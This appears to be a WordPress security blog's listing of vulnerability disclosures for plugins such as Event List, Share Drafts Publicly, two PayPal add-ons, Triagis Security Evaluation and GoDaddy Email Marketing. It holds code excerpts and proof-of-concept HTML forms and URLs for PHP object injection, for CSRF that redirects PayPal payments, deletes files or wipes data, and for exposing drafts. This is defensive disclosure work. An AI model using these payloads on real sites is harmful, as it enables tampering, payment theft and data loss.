06 Oct

Authenticated PHP Object Injection Vulnerability in Event List

Since June we have been doing proactive monitoring of changes made to plugins to try to catch serious vulnerabilities. So far that has lead to identifying existing vulnerabilities, newly introduced vulnerabilities, newly introduced vulnerabilities in brand new plugins, and vulnerabilities being fixed. For the first time it has lead to us identifying a vulnerability in a plugin that has been removed from the Plugin Directory. It appears the plugin has been through at least one review by the Plugin Directory team that doesn’t look to have caught this vulnerability. That in itself it is not major concern, but the fact that there doesn’t appear to be any publicly available info on the review process, which others could review and then provide suggestions for improvements that could be made, is more of an concern.

There clearly is room for improvement with review process as we have found that the reviews have failed to make sure that the vulnerabilities that caused plugins to removed have been fixed even when they may already be being exploited and also that the handling of those reviews has caused some developers to abandon plugins or abandon having their plugin in the Plugin Directory. The later happened with the very popular Contact Form DB plugin and lead to a lot of websites being less secure.

Since the developer of the plugin we found this vulnerability in, Event Listdoesn’t provide a method to privately disclose vulnerabilities the issues we found with it are now public, so we are providing the details here now even though they haven’t been fixed and the plugin is not currently available in the Plugin Directory.

The plugin makes its main admin page available to anyone with the “edit_posts” capability, which is normally contributor-level and above users:

48
add_menu_page(__('Event List','event-list'), __('Event List','event-list'), 'edit_posts', 'el_admin_main', array(&$this, 'show_main_page'), 'dashicons-calendar-alt', '22.2');

The function that is called when requesting the main page show_main_page() will then call the page show_main(). That function, located in the file /admin/includes/admin-main.php, checks if the user has the “edit_posts” capability (even though that has already been checked for) and then if the specified action is “import” it will run the function show_import():

77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
public function show_main() {
	// check permissions
	if(!current_user_can('edit_posts')) {
		wp_die(__('You do not have sufficient permissions to access this page.'));
	}
	// TODO: add check_admin_referer to improve security (see /wp-admin/edit.php)
	// is there POST data an event was edited must be updated
 
	// check for actions
	if($this->action) {
		switch($this->action) {
			// actions showing edit view
			case 'edit':
			case 'added':
			case 'modified':
				$this->show_edit_view($this->action);
				return;
			// actions showing import view
			case 'import':
				EL_Admin_Import::get_instance()->show_import();

That function show_import(), located in the file /admin/includes/admin-import.php, first again checks the user capability:

38
39
40
41
public function show_import() {
	if(!current_user_can('edit_posts')) {
		wp_die(__('You do not have sufficient permissions to access this page.'));
	}

Then a few lines down if the POST input “reviewed_events” exists the function import_events() will run:

51
52
elseif(isset($_POST['reviewed_events'])) {
	$import_error = $this->import_events();

The first thing that function, also located in the file /admin/includes/admin-import.php, does is unserialize the POST input “reviewed_events”, which permits PHP object injection to occur:

303
304
305
private function import_events() {
	// check used post parameters
	$reviewed_events = unserialize(stripslashes($_POST['reviewed_events']));

That means that there is an authenticated PHP object injection vulnerability accessible to contributor-level and above users. Nowhere in that code is there any protection against cross-site request forgery (CSRF), so the PHP object injection vulnerability is also exploitable that way. Also looking over the rest of the code handling imports into the plugin there is no CSRF protection, so in also in general the import functionality is susceptible to that type of vulnerability.

Update (October 9, 2017): Version 0.7.11 has been released, which resolves the PHP object injection issue by replacing usage of unserialize() with json_decode() (and replacing related usage of serialize() with json_encode()).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in as a Contributor-level or above user.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=el_admin_main&action=import" method="POST">
<input type="hidden" name="reviewed_events" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • October 6, 2017 – Developer notified.
  • October 8, 2017
19 Sep

Authenticated Information Disclosure Vulnerability in Share Drafts Publicly

The changelog entry for version 1.1.4 of Share Drafts Publicly is “Added security enhancements.”. In looking over that we found a change was made to fix a cross-site request forgery (CSRF) vulnerability that existed with AJAX functionality to share a draft of a post or page publicly. The exploitability of that is limited since an attacker that causes a draft to be shared publicly would still have to guess a 6 character secret key generated using wp_generate_password() to be able to view the draft.

With a CSRF vulnerability you cannot see the result of the request because it is being made by someone else, but the response to the request here does return the secret key needed to view the draft, so there was the potential that WordPress users that don’t have access to a draft could use the functionality to view it since the AJAX request was accessible to anyone logged in to WordPress. In version 1.1.3 we found that anyone logged in could make any draft public. In looking at the changes made in 1.1.4, we found there was no change to deal with that issue.

In version 1.1.4 because of the new CSRF protection, a user would now need to have access to a valid nonce to be able to make a draft public.

The nonce is generated in the function scripts(), which is called when enqueueing admin scripts (in the file /share-drafts-publicly.php):

52
add_action( 'admin_enqueue_scripts', array( $this, 'scripts' ) );

The function will include the nonce when the function enqueue_script() is true:

77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
public function scripts() {
 
	// Localize strings.
	$localization = array(
		'nonce'  => wp_create_nonce( 'share-drafts-publicly' ),
		'postId' => get_the_ID() ? get_the_ID() : ( isset( $_GET['post'] ) ? absint( $_GET['post'] ) : 0 ),
	);
 
	wp_register_script( 'share-drafts-publicly', plugin_dir_url( __FILE__ ) . 'js/share-drafts-publicly.js', array( 'jquery' ), filemtime( plugin_dir_path( __FILE__ ) . 'js/share-drafts-publicly.js' ), true );
	wp_localize_script( 'share-drafts-publicly', 'shareDraftsPublicly', $localization );
 
	if ( $this->enqueue_script() ) {
		wp_enqueue_script( 'share-drafts-publicly' );
	}
 
}

That returns true when on the page /wp-admin/post.php:

120
121
122
123
124
125
126
127
public function enqueue_script() {
 
	// Get current page.
	global $pagenow;
 
	return 'post.php' === $pagenow;
 
}

So as long as a user can visit the page /wp-admin/post.php they would now be able to make any draft public. Without any plugins making something using that page available to lower level users, only users at the Contributor-level or above could get access to the nonce normally.

Less than an hour after we notified the developer of the issue they released version 1.1.5, which fixed the issue by adding the following code to the beginning of the functions make_draft_public() and make_draft_private():

if ( ! current_user_can( 'edit_posts', $post_id ) ) {
	return false;
}

That makes sure the user trying to make a draft public or private is able to edit it.

Proof of Concept

When logged in as a user that has access to some URL that uses /wp-admin/post.php, visiting the following URL will make the specified draft public.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[post ID]” with the ID of the draft post you want to make public, and “[valid nonce] with a valid nonce that can be found on the URL that uses /wp-admin/post.php on the line that begins “var shareDraftsPublicly”.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=share_drafts_publicly&make=public&post_id=[post ID]&nonce=[valid nonce]

Timeline

  • September 18, 2017 – Developer notified.
  • September 18, 2017 – Version 1.1.5 released, which fixes issue.
  • September 18, 2017 – Developer responds.
12 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in PayPal Digital Downloads

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Digital Downloads plugin contains the same vulnerability.

The issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /paypal-digital-downloads.php):

254
255
// save and update options
if (isset($_POST['update'])) {

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause the PayPal API Username that payments go to, to be changed to test, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=easy-paypal-digital-download" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="api_username" value="test" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in Contact Form 7 – PayPal Add-on

After noticing a number of vulnerabilities in a couple of plugins that work with the plugin Contact Form 7 we started looking over other plugins that work with it. In doing that we found that the plugin Contact Form 7 – PayPal Add-on has a cross-site request forgery (CSRF) vulnerability in its code to save the plugin’s settings, which could be used to change the PayPal account that payments through the plugin are sent.

The issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /paypal.php):

356
357
// save and update options
if (isset($_POST['update'])) {

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause the PayPal account that payments go to, to be changed to test@example.com, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=cf7pp_admin_table" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="test@example.com" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
19 Apr

Cross-Site Request Forgery (CSRF) Vulnerabilities in Triagis® Security Evaluation

Far too often it is found that security plugins for WordPress introduce security vulnerabilities of their own, which if you know much about security isn’t too surprising considering that so many security companies don’t seem to know and or care much about security.

We recently ran across the security plugin Triagis® Security Evaluation, which is described as “a simple lite-weight plugin to analyze your current WordPress installation, server for security vulnerabilities”. While taking a look over the plugin we found that it made functions available through WordPress’ AJAX functionality that are restricted to Administrator level users, but lack protection against cross-site request forgery (CSRF). Through that an attacker could cause a logged in Administrator to change the WordPress content directory’s location, change the website’s file permissions, delete arbitrary files on a website, change a user’s username, change the database prefix, or move the WordPress configuration file. While CSRF vulnerabilities are not something likely to be targeted at this time, an attacker could cause some serious issues if they were successful in exploiting this.

As an example of the issues let’s take a look at the function w4sl_delete_file_ajax() (in the file /admin/page-security-informations.php), which handles deleting files.

The function checks if the user making the request is an Administrator:

575
576
if( !is_super_admin())
	die( json_encode( array( 'error' => 'Unauthorized access !!' )));

Then it checks if the file being requested to exists and is readable:

578
579
580
581
582
583
$file = w4sl_sanitize_path( $_POST['file'] );
if( empty( $file ) || !file_exists( $file ))
	die( json_encode( array( 'error' => 'File not found !!' )));
 
if( !is_readable( $file ))
	die( json_encode( array( 'error' => 'File not readable !!' )));

After that it deletes the file:

585
@unlink( $file );

Nowhere in the function is there a check for valid nonce, which is used to prevent CSRF in WordPress.

Proof of Concept

The following proof of concept will delete a file named test.txt in the root directory of the WordPress install.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="w4sl_delete_file" />
<input type="hidden" name="file" value="../test.txt" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 10, 2017 – Developer notified.
  • April 19, 2017 – WordPress.org Plugin Directory notified.
  • April 19, 2017 – Removed from WordPress.org Plugin Directory.
03 Feb

Vulnerability Details: Cross-Site Request Forgery (CSRF) Vulnerability in Watu

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

01 Dec

Tip For Security Researchers: WordPress Uses a Nonce to Protect Against Cross-Site Request Forgery (CSRF)

For the last three false reports of vulnerabilities in WordPress plugins we have discussed, there has been a common denominator that we don’t quite understand. Each has involved a claim that a plugin has a cross-site request forgery (CSRF) vulnerability, but in the proof of concept for exploiting each of the vulnerabilities there has been nonce included. Seeing a nonce is what is used in WordPress to protect against that type of vulnerability, we have a hard time understanding what is going on here, other than people without the proper knowledge to make a claim that this type of vulnerability exist are in fact doing that.

When used in a form a simple version of the nonce looks like this:

<input type="hidden" id="_wpnonce" name="_wpnonce" value="aa27b52873" />

While it is not required to actually use the word “nonce”, in most cases it will be labeled as such.

While the existence of a valid looking nonce in a proof of concept of a vulnerability likely indicates that the report is false, the existence of a nonce in a plugin’s pages is not always an indication that there is not a CSRF vulnerability, as plugins do not always actually check if the nonce exists or that it is valid when processing the request tied to it. One way to test out if the CSRF protection is properly functioning is to use the developer tools in your web browser to modify the value of the nonce or remove it and see if the request is still successful.

30 Nov

Vulnerability Details: Cross-Site Request Forgery (CSRF) in Wp-D3

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

28 Oct

Vulnerability Details: Cross-Site Request Forgery (CSRF) Vulnerability in WP Database Backup

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

27 Oct

Cross-Site Request Forgery (CSRF) Vulnerability in GoDaddy Email Marketing

We recently found that the GoDaddy Email Marketing plugin had contained a cross-site request forgery (CSRF) vulnerability that could have caused all the data associate with the plugin to be deleted.

When the debug mode of the plugin is enabled the option to do a “cache reset” or a “hard reset” is made available. The “hard reset” would cause all of the data in the plugin to be deleted. As of version 1.1.2, a request for the URL /wp-admin/options-general.php?page=gem-settings&action=debug-reset would cause that to happen. As you can see, there is no nonce included in that URL, which is what is used to prevent CSRF in WordPress (there also was no check to make sure that a valid nonce was included before processing the request). Without that, if you could get a logged in administrator to visit that URL directly or cause them to send a request to that URL from a page you control, then all the data would be deleted.

Turning on the debug was properly protected against CSRF, so this was only exploitable if that was already enabled.

After we notified the developer they release two version of 1.1.3 of the plugin. The first version was intended to fix this, but was missing any changes. Version two of it included the fixes and version 1.1.4 was released right after that, so anyone with the first version of 1.1.3 will be prompted to upgrade to a fixed version.

Proof of Concept

The following proof of concept will cause the data associated with the plugin to be deleted, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/options-general.php?page=gem-settings&action=debug-reset

Timeline

  • 10/10/2016 – Contacted developer publicly to see how we could privately notify them of the issue.
  • 10/19/2016 – Developer responds after another one of the plugins is pulled from the directory due to vulnerability we discovered.
  • 10/19/2016 – We privately notified the developer of the issue.
  • 10/19/2016 – First version of 1.1.3 released, which intended to fix vulnerability but was missing any changes.
  • 10/26/2016 – Second version of 1.1.3 released, which fixes vulnerability.